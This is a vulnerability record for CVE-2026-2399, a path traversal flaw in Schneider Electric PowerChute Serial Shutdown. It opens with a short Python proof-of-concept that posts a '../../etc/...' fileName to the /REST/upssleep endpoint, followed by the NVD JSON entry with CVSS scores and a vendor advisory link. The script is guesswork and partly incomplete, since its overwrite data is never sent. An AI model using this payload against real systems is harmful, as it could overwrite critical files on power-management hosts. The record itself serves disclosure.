CVE-2026-2399

import requests # Target URL (Example) target_url = "http://target-ip/REST/upssleep" # Malicious payload attempting to overwrite a critical file # Assuming the endpoint accepts a filename or path parameter vulnerable to traversal payload = { "sleepTime": "10", "fileName": "../../etc/critical_config.txt" } data_content = "Malicious data that overwrites the file" # Sending the POST request # High privileges (PR:H) are required, so valid credentials are needed headers = { "Cookie": "SessionID=ValidAdminSessionToken", "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-2399", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:38.290", "lastModified": "2026-04-22T14:11:32.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability exists that could cause critical files overwritten with text data when a Web Admin user alters the POST /REST/upssleep request payload."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:schneider-electric:powerchute_serial_shutdown:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5", "matchCriteriaId": "503C9931-4346-4D3C-B6FF-02E663020A9D"}]}]}], "references": [{"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2026-104-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2026-104-01.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}